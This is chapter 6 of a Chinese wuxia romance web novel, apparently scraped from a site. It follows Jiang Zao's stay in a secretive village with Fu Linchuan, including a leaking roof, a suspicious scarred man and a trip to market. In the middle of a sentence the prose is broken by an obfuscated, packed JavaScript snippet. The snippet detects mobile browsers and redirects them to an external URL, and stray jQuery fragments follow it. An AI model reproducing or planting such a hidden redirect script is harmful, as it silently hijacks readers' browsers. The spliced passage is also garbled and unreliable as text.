6. 第 6 章

作品:《江湖退休指南

    洛佳人指尖勾着苗喜束腰的带子,发间玉簪将坠未坠的挂着,一头青丝摇曳轻摆。


    “还没看够?”耳畔突然炸开个戏谑的声音,惊得姜枣心口猛地一跳,面色涨红,有种偷窥被抓包的窘迫。


    傅临川不知何时蹲在身侧,芦苇丛被拨开一片,两人的位置还算隐蔽,更显得他们像是偷窥一样。


    姜枣目中水润,方才有点被他吓到,不敢出声怕惊扰不远处缠绵的二人,只能怒瞪着他。


    傅临川抬起手,指尖掠过姜枣烧红的耳垂,惊得她仓皇瞪大眼向后躲。


    跑过来看人亲热还知道害羞。


    姜枣揉搓着发烫的耳朵小心翼翼钻出芦苇丛,看着跟上来的傅临川,直到走出这片小溪才开口:“你怎么会在这?”


    难不成他是特意来偷看别人亲热的?


    目光狐疑起来。


    傅临川扫过她揉捏过的耳垂,手指在袖中撵磨两下:“许久不回,还以为你被狼叼走了。”


    姜枣斜睨他一眼,就知道听不见什么好话。


    次日天光微亮,拍门声吵醒沉睡的姜枣,迷蒙着眼敞开门一看,竟是洛佳人抱着青花坛倚在门口,脸上一团胭脂红。


    昨夜窥见的事从脑中闪过,姜枣移开目光,略感心虚的摸摸鼻尖,她定然是来找苗喜的。


    向旁让开一步,准备回去再接着睡会儿。


    洛佳人拉住她,敲敲青花坛:“里面是红烧肉,晌午在灶上热了就能吃。”


    又低声道:“昨夜的事我知道你无意间看到了。”


    姜枣被这句震在原地,半晌不知道该说些什么。


    “放心,苗喜不知道,我今日来也不是要说什么。”洛佳人捻着帕子,眼角细纹盈满春光:“我与他的事本也没特意瞒着,成日往这院子里跑,外面说的那些闲言碎语早都听腻了。”


    “你只需知晓,我与他本就青梅竹马,奈何他那人将公子看得比任何事都重,非要待公子安家立业才肯张罗自己的事。”


    姜枣无意探究别人的过往,她只是过客,抱着青花坛的手指不自觉蜷起,早晚是要离开的。


    困意上涌,洛佳人打个哈欠摆摆手:“我要回去补一觉,过两日镇上有市集,我带你去逛逛。”顺手将门一推。


    清晨带有凉意,洛佳人拢着披肩走远。


    “她来干嘛?”傅临川同样被吵醒,捏着额头再睡不着,慵懒的倚着门框。


    人都走了还杵在那看,大清早的就傻了。


    姜枣直接无视他,转身把青花坛放去灶房。


    苗喜得知洛佳人送来一坛红烧肉,浅浅笑了一下,蹲在灶台边,土灶不一会儿升腾起淡青炊烟,柴火噼啪迸出火星,锅中煮着白粥,桌上一碟小菜。


    青灰云层压得很低,清晨微亮的日头消失不见,空气中似乎漂浮着一层潮湿的水汽。


    姜枣挎着小篮子往小溪边走,还记得那些野蕨菜。


    溪边更加潮湿,抬头看向风雨欲来的阴沉乌云怔住。


    “发什么呆,傻乎乎的。”傅临川不知何时跟过来,蹲下身,在姜枣身侧古怪的看着她:“你今日心不在焉的,难不成还在想昨夜的事……”


    姜枣瞪他一眼:“别再提那件事。”


    傅临川忽而低笑起来,也不说话,拍了拍手上的沙土,走去溪边一块大石头上坐下,手臂后撑,一副没睡醒的样子。


    “你知道这条小溪将汇入哪里吗?”忽而说道。


    姜枣满手泥土,还握着挖出的野蕨菜,回忆起她是如何摔下河中来到此处的。


    心情沉重。


    “汇入村镇外的一条大河,再与护城河的河水交融。”傅临川抬手扔去一颗石子,落入小溪中‘咚’的一声轻响。


    姜枣已经摘了半篮子野蕨菜,站起来的时候两腿发酸,在溪边洗干净手上的泥土。


    “回不回?”


    就像她不想知道洛佳人与苗喜的事一样,对傅临川和这个村镇的反常之处,她亦不想探究。


    待恢复武功,她会立马离开。


    一阵雷声后,酝酿了一整天的雨还是落下来,池塘里泛起大大小小的波纹,屋顶噼里啪啦有节奏的淅淅沥沥,后半夜,雨越下越大,雨声也越来越密。


    雨滴落在薄被上,一路滴答,凝成一股水路。


    姜枣沉默着站在床边,抬头看一眼漏雨的棚顶,已经洇湿一片,满目无奈。


    撸起束袖将竹床搬离漏雨那处。


    响动声在深夜格外刺耳,扰得傅临川毫无睡意,烦躁的翻来覆去半晌,气急败坏踢开房门,冒着雨站在西厢门口,开口道:“深更半夜不睡觉……”


    看清里面的情况,后半句在湿漉漉串成行的雨幕下咽回去。


    烦躁撇她一眼,转身又冒着雨跑回去。


    姜枣气结,什么人啊,看见了也不帮忙。


    次日清早,昨夜的雨带来清新的空气,晨间浓雾散去,远处山脉清晰。


    棚顶上叮叮当当,姜枣一夜未眠,天渐亮才迷迷糊糊睡熟,被吵醒心情烦躁,抬手摸着潮湿的被褥叹口气,睁着眼怔愣一瞬,才起身抱着被褥去院中晾晒。


    好在天晴,被褥晾晒一日就好,还得爬上去补房顶,不然再下雨还会漏。


    “又发呆,还不快去搭把手!”傅临川手拿一块蒸糕咬着,抬眼朝房顶上看去。


    姜枣顺着他的视线看过去,房顶逆光站着一个褐色布衣的男子,看不清样貌,正蹲在房顶上修修补补。


    “你找来的?”


    “废话。”傅临川拿起桌上的蒸糕递给她:“吃完去帮忙。”


    男人身手利落跳下房顶,束袖墨发,浓眉鹰鼻,从面颊到眉心有一道刀疤,面相看上去凶恶,沉默寡言。


    姜枣被盯住的一瞬,山风呼啸而过,鬓发挡住眉眼,凌厉一闪而过。


    即便她武功尽失,察觉到危险的本能是刻在骨子里的。


    这个人不简单。


    傅临川拍掉手上蒸糕碎屑:“修好了?慢走不送。”


    丁渊收回视线,将修补工具都收到一个皮桶中,依旧沉默着离开。


    姜枣转头看向躺到摇椅上的傅临川,偏僻的村镇、会武的屠夫、镇外的营地和今日带着杀气的男子,一切都不是一个普通村镇会出现的。


    她倍感疑惑,但也知道,即便问出来,傅临川不想说的话,也会有千百种理由搪塞。


    收起打量的视线,回到屋中把竹床再一点点挪回去。


    早知道刚才叫那个修补屋顶的男子搭把手好了。


    苗喜端着一碗蛋羹,稍带愁容:“公子,还是尽快将人打发走吧,她似乎看出丁渊不同。”


    若是身份暴露,即便此女身份对他们构不成威胁,也难以心安,恐怕村镇再也恢复不到先前的宁静。


    “慌什么。”傅临川不为所动,看向蛋羹:“我都要吃饱了,这个你自己吃了吧。”


    苗喜还想再劝几句,见到从西厢房中走出的人,叹口气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363330|168125||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,恢复平日和煦。


    将蛋羹递过去:“姜姑娘,把蛋羹吃了吧。”


    姜枣先看看摇椅上的傅临川,记得他常吃蛋羹,怎么今日不吃了?


    苗喜:“今日蛋羹多做了一份,姑娘想吃便吃,不想吃便放回灶房去。”


    姜枣接过蛋羹道声谢,蛋羹软滑,上面淋着几滴酱油,色泽诱人,软软弹弹入口即化。


    傅临川见她吃得欢喜:“蛋羹而已,有这么好吃?”


    姜枣不理他,将一碗蛋羹吃的一点不剩。


    镇上市集,洛佳人一大早便来敲门,穿着一件锦缎轻衫,衣摆是金线勾勒的,在春日阳光下流苏轻摇。


    “公子,姜姑娘换来换去总是这件我送的衣裙,姑娘正是爱美的时候,你就不能大方一点?”


    “钱袋都给她了,不够花?”傅临川抬目看去。


    姜枣倒是忘记把钱袋还给他了,面色微晒,拿出钱袋想要递还回去。


    洛佳人夺过去,将钱袋中的银子倒出。


    碎银子中还有几颗金灿灿的金瓜子。


    洛佳人捏起一颗:“这确实够花了。”


    感慨道:公子可真是家财丰厚。


    姜枣看着洛佳人将金瓜子一颗颗装回钱袋,不敢再接。


    她先前不知道这里面还有金子,在镇上闲逛的时候随意挂在腰间,要是丢了,她真是赔不起。


    见她不接,洛佳人硬塞进她手里:“公子不缺银子,既是他给你花的,你就拿着。”


    姜枣握着钱袋像是一块烫手山芋,不敢再挂在腰间,仔细贴身揣进怀里。


    傅临川见她小心翼翼的样子,轻笑一声。


    “闲来无事,陪你们一同去镇上。”长腿撑在地上,从摇椅上站起。


    那边,苗喜已去牵马拉车。


    关好院门,洛佳人和姜枣坐在马车中,听见一声轻唤。


    “公子。”声音甜腻娇软,带着一丝拖长的尾调。


    洛佳人掀开窗帘探出头去,诧异的看向孙芸,她说话怎么是这个腔调?


    孙芸见到车厢内的洛佳人和姜枣,微怔,轻咳一声,嗓音恢复如常:“你们是要出门吗?”


    傅临川被她刚才的声音惊掉一身鸡皮疙瘩,并不想搭理她,转头踏入车厢。


    孙芸面色一白,咬着下唇,站在门边目中含泪。


    洛佳人最看不得人哭,况且孙芸平日里文文静静,还常去帮她扫院子,贴心的嘘寒问暖,是个像小棉袄一样贴心的姑娘。


    “我们正要去镇上的市集,你来得正巧,省得我去唤你,咱们一同去逛还热闹些。”


    “这不太方便吧。”孙芸抿唇抬眼看向车厢中的傅临川,见他闭着眼,怯生生的又看向姜枣。


    姜枣不明所以,躲开她的视线。


    洛佳人迟疑道:“若是你今日有别的事,那就下次。”说着,要将窗帘放下。


    孙芸急忙解释:“没有别的事。”绕到车前,提裙钻进车厢。


    车厢内狭小,两面摆着长凳,傅临川自己大刺刺坐在一侧中间,敞着腿。


    孙芸面色一红,提裙想要在长凳另一头坐下。


    傅临川长腿一伸,拦住她,蹙眉不耐烦道:“没地方了,去外面坐。”


    孙芸愣在原地,裙摆捏在手里进退不是。


    洛佳人抬腿往长腿上轻踢一脚:“你把脚收一收不就有地方了。”


    傅临川头也不抬,一味看着窗外:“收不了,爱去不爱。”